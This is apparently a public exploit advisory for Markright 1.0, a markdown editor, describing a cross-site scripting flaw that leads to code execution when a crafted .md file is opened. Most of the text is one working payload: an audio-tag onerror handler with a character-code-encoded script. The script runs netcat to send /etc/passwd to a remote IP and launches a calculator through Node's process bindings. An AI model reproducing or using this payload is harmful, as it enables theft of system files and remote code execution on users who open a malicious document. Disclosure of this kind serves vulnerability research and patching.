Markright 1.0 Cross Site Scripting / Code Execution

# Exploit Title: Markright 1.0 XSS to RCE
# Exploit Author: TaurusOmar
# Twitter:@TaurusOmar
# HomePage:taurusomar.com
# Date: May 4th, 2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://github.com/dvcrn/markright
# Version: 1.0
# Tested on: Linux, MacOs,Windows

# Software Description:
A minimalist discount editor with github flavor, it allows to view, edit and load files with markdown extension (.md) quickly and with a friendly interface.


# Vulnerability Description:
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately.The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
the remote attacker to get remote execution on the computer.


#Proof video
https://imgur.com/a/VOsgKbZ



# Payload: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)

[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)